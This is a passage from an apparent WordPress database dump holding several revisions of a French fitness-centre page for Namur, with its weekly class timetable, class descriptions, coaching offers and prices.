alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 18:59:35', '2014-01-18 18:59:35', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(494, 3, '2015-09-02 17:04:16', '2015-09-02 17:04:16', '', 'nouvelles seances CT', '', 'inherit', 'open', 'open', '', 'nouvelles-seances-ct', '', '', '2015-09-02 17:04:16', '2015-09-02 17:04:16', '', 363, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png', 0, 'attachment', 'image/png', 0),
(413, 1, '2014-01-18 19:04:21', '2014-01-18 19:04:21', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nZumba&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nZumba&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;img class=\&quot;alignnone size-full wp-image-409\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:04:21', '2014-01-18 19:04:21', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(414, 1, '2014-01-18 19:05:20', '2014-01-18 19:05:20', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nZumba&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nZumba&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:05:20', '2014-01-18 19:05:20', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(415, 1, '2014-01-18 19:07:15', '2014-01-18 19:07:15', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td 